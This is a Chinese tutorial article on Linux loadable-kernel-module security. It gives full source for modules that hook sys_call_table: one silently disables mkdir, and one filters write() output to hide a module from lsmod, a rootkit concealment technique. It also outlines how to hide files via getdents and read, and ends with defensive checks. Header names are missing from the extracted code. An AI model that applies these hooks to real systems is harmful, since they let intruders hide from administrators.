Linux 内核安全

类别:软件工程 点击:0 评论:0 推荐:

Linux 内核安全

?

关键字:LKM, module, hacking ?????????????????????????

强化001班?? 李群

Linux内核是作为Monolithic architecture (单内核体系结构) 而实现的,为了获得 Microkernel architecture (微内核体系结构) 带来的可扩展性和可维护性,Linux 引入了模块 (module) 机制,(比较准确的说法是 Loadable Kernel Module, 可装载内核模块),藉此来保证内核的紧凑性和Linux本身固有的单一体系结构的优点——上下文切换速度快。

在Linux中,用户(通常需要root权限)通过modutils软件包中提供的工具,动态地将模块(如网络驱动等)插入、移出内核。这样,内核的功能可以动态地添加和删除,却不需要每次都经过冗长的关机/重启过程。因为模块运行的环境是内核,因而它具有内核特权,模块编程也就是内核编程,它是Linux Kernel Hacking 的主要工具。

本文讲述在Linux下,如何通过module 来拦截系统调用,以及Kernel Hacking 的一些防范手段。

Linux通过int 0x80 软中断实现系统调用。系统调用列表在Linux自举时通过init_IRQ( ) 调用宏 set_intr_gate 初始化。当系统调用发生时,内核检查系统调用的有效性,然后将控制权转给实际的系统调用代码。系统调用表 sys_call_table[] 可以在文件 entry.S 中找到。它看起来应该如下所示:

… …

ENTRY (sys_call_table)

? .long SYMBOL_NAME (sys_ni_syscall)?? /* …… */

? ?.long SYMBOL_NAME (sys_exit)

? ?.long SYMBOL_NAME (sys_fork)

? .long SYMBOL_NAME (sys_read)

… …

文件unistd.h 为每个系统调用规定了唯一的编号,它看起来应该如下所示:

… …

#define __NR_exit???? 1

#define __NR_fork? 2

#define __NR_read? 3

… …

不难看出,每个系统调用所对应的编号正是该系统调用在指向函数的指针数组sys_call_table[]中的下标。内核检查%eax的有效性,sys_call_table[%eax]便是用户要求的系统调用的入口指针。那么,怎样才能拦截系统调用呢?很简单,只要将sys_call_table[]中对应的入口指针替换成我们自己的函数指针即可。

好了,有了上述知识,现在可以进行编程了。作为最简单的例子,我们可以试着拦截mkdir()系统调用。

?

/*

*hack_mkdir.c ?????????????? David?? 2003-4-19

*It shows how to intercept a system call.

*/

#include ?? /*编译模块必需的头文件*/

#include

#include

?

extern void *sys_call_table [];

int (*origin_mkdir) (const char *); /*用于保存旧的系统调用*/

?

int hacked_mkdir(const char *pathname) /*新的系统调用*/

{

? return 0;

}

?

int init_module()???? /*模块入口点,初始化时调用*/

{

?? origin_mkdir=sys_call_table [__NR_mkdir];

/*保存旧系统调用*/

?? sys_call_table [__NR_mkdir] = hacked_mkdir;

??????????????????????????????????? /*替换成新系统调用*/

?? return 0;

}

?

void cleanup_module()? /*模块入口点,卸载前调用*/

{

?? sys_call_table [__NR_mkdir] = origin_mkdir;

/*复位旧系统调用*/

}

?

应用程序从main( )开始执行单个任务,而模块却只是预先注册自己以服务于将来的某个请求。插入模块时,内核调用init_module( )初始化模块;移除模块时,内核调用cleanup_module( )做一些善后工作。

如上代码所示,我们将mkdir( )系统调用换成了新的调用hacked_mkdir( ),事实上它只是一个空函数。为了编译上面的模块,我们写个Makefile文件如下:

#please modify it according to your own system

KERNELDIR=/usr/src/linux-2.4

?

CFLAGS=-D__KERNEL__ -DMODULE -I$(KERNELDIR)/include \

-O -Wall

?

include $(KERNELDIR)/configs/kernel-2.4.18-i686.config

?

ifdef CONFIG_SMP

?? CFLAGS+=-D__SMP__ -DSMP

endif

?

all: hack_mkdir.o

?

clean:

?? rm -f *.o *~ core

不要忘记rm前有个Tab键。好了,在终端下敲入make,你会发现当前文件夹下多了个文件hack_mkdir.o,这就是编译好的模块。

#/sbin/insmod hack_mkdir.o

warnning:it will taint the kernel.

#mkdir test

#ls

hack_mkdir.c ?hack_mkdir.o? Makefile

你会发现test文件夹根本就没有建立,而可怕的是系统根本就没有任何出错信息!原因很简单,因为实际的mkdir( )已经被替换成了hacked_mkdir( ),而且的它返回值是0,系统误以为它正确地建立了文件夹。

#/sbin/rmmod hack_mkdir

#mkdir test

#ls

hack_mkdir.c? hack_mkdir.o? Makefile? test

移除模块后,原有的mkdir( )系统调用得以复位,因而系统正确地建立了文件夹test。

由此我们可以看到Kernel Hacking的威力!如果一个系统的内核被入侵,其后果是相当严重的。“正如运输界有泰坦尼克等事故一样,计算机安全专家往往也容易忽略某些细节(Andrew S. Tanenbaum)。”而LKM由于其极强的隐蔽性和强大的功能,备受Linux Kernel Hackers的喜爱。所以,系统管理员绝对不能轻易地将网络上下载的模块插入到内核,因为这样做无疑等于给了入侵者root权限。在系统安全性极其重要的情况下,我们应该只相信源代码,自己手工将经过检查的源代码编译为模块。

事实上,上面的模块除了用于演示之外,基本没有任何实际用途,因为几乎任何系统管理员都可以发现这个mkdir( )异常,并且找出错误的根源。只要他/她输入/sbin/lsmod命令,就会得到如下输出:

hack_mkdir??? 8192??? 0(unused)

因而系统管理员就会知道是hack_mkdir模块搞的鬼,因而他/她可以跟踪其来源,并排除系统漏洞。

下面,我们将隐藏文件中的特定内容,比如/proc/modules中的“hack_mkdir”。首先,我们应该知道/sbin/lsmod其实就是输出了/proc/modules中的内容,此外,输出文件中的内容需要write( )系统调用,如果您不知道某个command进行了哪些系统调用,没关系,我们可以用strace系统程式来跟踪command运行时进行的系统调用。

比如,向终端写字符串“this is a test”。

?

#strace echo “this is a test”

… …

write (1, "this is a test\n", 15)?????? ?= 15

munmap (0x40056000, 4096)??????????????? ??= 0

_exit (0)?????????????????????????????? ??????= ?

?

由此可以看出向终端写字符串“this is a test”调用了write( ),其中1代表stdout,返回值15是字符串的长度。

/*

*hack_write.c???????????????? David???? 2003-4-19

*The modules shows how to hack system call write ( ) in order *that we can hide the special message in the file.

*/

?

#include

#include

#include

#include ??? /*for kmalloc() & kfree() */

#include /*for strncpy_from_user() */

#include

#include

?

extern void* sys_call_table[];

extern void kfree(const void *);

extern void* kmalloc(size_t, int);

extern char* strstr(const char *,const char *);

extern __kernel_size_t strlen(const char *);

extern long strncpy_from_user(char *,const char *,long );

?

?

int (*origin_write)(unsigned int,char*,unsigned int);

???????????????????????? /*用于保存旧系统调用*/

int hacked_write(unsigned int fd,char* buf,unsigned int count)

{

? char *kernel_buf;

? char hide_buf[]="hack_mkdir";/*我们想隐藏的信息*/

? kernel_buf= (char*) kmalloc (1024, GFP_KERNEL);

/*获取内核空闲页,Get Free Page*/

? strncpy_from_user (kernel_buf, buf, 1023); /*跨空间传输*/

? if(strstr(kernel_buf,(char *)&hide_buf)!=NULL){

??? kfree (kernel_buf);

??? return strlen(hide_buf);

/*告诉内核已经写了strlen(hide_buf)个字符*/

? }

? else{???????????? /*不是需要隐藏的信息*/

??? kfree (kernel_buf);

??? return origin_write(fd,buf,count); /*返回正常调用结果*/

? }

}

?

int init_module()

{

? origin_write=sys_call_table [__NR_write];

? sys_call_table [__NR_write] =hacked_write;

? return 0;

}

?

void cleanup_module()

{

? sys_call_table [__NR_write] =origin_write;

}

?

或许有人会问,模块中为什么要进行跨空间传输呢?这里,有两个很重要的概念就是“内核空间地址”和“用户空间地址”。内核空间地址和用户空间地址之间很大的一个差异就是,用户空间的内存是可被换出的。当内核访问用户空间指针时,相对应的页面可能已经不在内存中了,这样的话就会产生一个页面失效。在Linux中,跨空间的拷贝是由一些特定的函数完成的,它们在中定义。函数strncpy_from_user( )的作用并不限于在内核空间和用户空间之间拷贝数据,它还会检查用户空间的指针是否有效。

值得注意的是,访问用户空间的任何函数(如hacked_write( ))都必须是可重入的,并且必须能和模块里的其他函数并发执行。可重入代码(reentrant code)是指这样的代码:其中不使用任何全局变量来记录状态信息,因而可以处理交织的调用,而不会造成混淆。如果所有状态信息都是进程特定的,就不会发生冲突。在单处理器的Linux系统中,运行内核代码的进程是非抢占式的,Linux只能做用户抢先(原因很简单,因为Linus不信任内核抢先)。

上面的代码可以正常工作。将Makefile中的all:hack_mkdir.o改为all:hack_write.o便得到我们需要的Makefile。将hack_mkdir.o插入内核后,再将该模块插入内核,运行/sbin/lsmod,你会发现没有类似“hack_mkdir??????? 8192? 0(unused)”的字段,只不过多了一段有关hack_write的信息。很简单,只要将上面两个模块合二为一,我们便能隐藏我们的模块信息了。不过,系统管理员还是可以通过ls看到你的源文件、目标模块,当然我们也可以隐藏整个文件夹,拦截什么调用?getdents( )。但是,系统管理员仍然可以通过cat /xxdir/xxfilename直接输出文件内容,怎么办?拦截read( )。打不开文件,哪里还谈得上输出其内容呢?

LKM可以做很多很多事情,只要你有足够的想象力。

然而LKM并不意味着系统管理员的末日。系统管理员也可以利用LKM更轻松地管理、监视系统。

1)??? 在insmod时检查特定的命令行标志信息。这个信息可以用于标识用户的合法性。如在模块中加入:
?? char key[32]=””;

MODULE_PARM (key,”s”);???????? /*声明key为字符串型*/

int init_module()

{

? if(!strcmp(key,”root_key”)){

… …;????????????????????? /*合法时运行的代码*/

}else{

printk(KERN_ALERT “Alert message.\n”);/*报警*/

return -1;

}

return 0;

}

2)??????? 插入模块时,检查用户的gid、uid等。
我们可以通过 #include ,来引用current指针,current指向当前进程的PCB,而current->uid,current->gid便是当前进程的用户标识和用户组标识。root 的uid是0,而普通用户的uid一般不小于500。

3)?????? 限定模块只能从特定的目录插入内核,比如/root目录。因为hackers不知道这一限制,所以擅自插入模块将引起系统报警。

4)?????? 更高级的方法:添加用于保护内核的代码,然后重新编译内核,使之具有较强的安全防范能力。具体方法可以参考Moshe Bar的《Linux技术内幕》。

?

最后,我想说明,Linux是一个能带给人乐趣的系统,而LKM方面的攻防都涉及了大量的内核源代码和操作系统方面的知识。Linux Kernel Hacking 也成了Linux社区和Linux Kernel Mail List里最热门的话题。要想使系统的安全性得到保证,只有不断学习、探讨、研究,并亲自动手实践。也只有这样,才能领略到其中无穷的乐趣。请记住:Linux安全,从内核作起。

本文中所有代码均在RedHat 7.3中测试通过。

?

?

?

?

?

?

[参考书目]

《Linux技术内幕》 Moshe Bar 著,清华大学出版社

《Linux设备驱动程序》 Rubini &Corbet 著,中国电力出版社

《Linux内核2.4版源代码分析大全》李善平等著 机械工业出版社

本文地址:http://com.8s8s.com/it/it35940.htm